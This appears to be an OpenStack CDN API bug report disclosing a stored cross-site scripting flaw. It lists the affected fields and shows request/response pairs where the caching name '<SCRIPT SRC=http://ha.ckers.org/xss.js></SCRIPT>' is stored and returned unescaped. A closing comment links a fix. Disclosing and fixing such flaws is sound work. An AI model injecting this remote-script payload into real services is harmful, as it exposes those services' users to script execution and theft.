Cross Site Scripting Possibility

[Amit Gandhi]

Many fields of the API accept inputs commonly used in XSS attacks. This can create a vulnerability within any consuming UI.

All user input should be validated for its expected type, range, format and length.

Fields affected:
name:
domains: domain
origins: origin
caching: name
caching: rules: request_url
caching: rules: name

EXAMPLE:

1. REQUEST (caching: name):
POST /v1.0/services HTTP/1.1

{"domains": [{"domain": "mywebsite.com"}], "caching": [{"name": "default", "ttl": 3600}, {"rules": [{"request_url": "/index.htm", "name": "index"}], "name": "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "ttl": 1200}], "name": "shortname", "origins": [{"origin": "mywebsite1.com", "ssl": false, "port": 443}], "flavor_id": "cdn"}

3. REQUEST:
GET /v1.0/services/shortname HTTP/1.1

4. RESPONSE:
HTTP/1.1 200 OK

{"name": "shortname", "domains": [{"domain": "mywebsite.com", "protocol": "http"}], "origins": [{"origin": "mywebsite1.com", "port": 443, "ssl": false, "rules": []}], "restrictions": [], "caching": [{"name": "default", "ttl": 3600}, {"name": "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "ttl": 1200, "rules": [{"name": "index", "request_url": "/index.htm"}]}], "status": "deployed", "flavor_id": "cdn", "errors": [], "links": [{"href": "https://preview.cdn.api.rackspacecloud.com/v1.0/services/shortname", "rel": "self"}, {"href": "https://preview.cdn.api.rackspacecloud.com/v1.0/flavors/cdn", "rel": "flavor"}, {"href": "mywebsite.com.cdn17.altcdn.com", "rel": "access_url"}]}

[Amit Gandhi (amit-gandhi)]

Fixed by https://review.openstack.org/#/c/145028/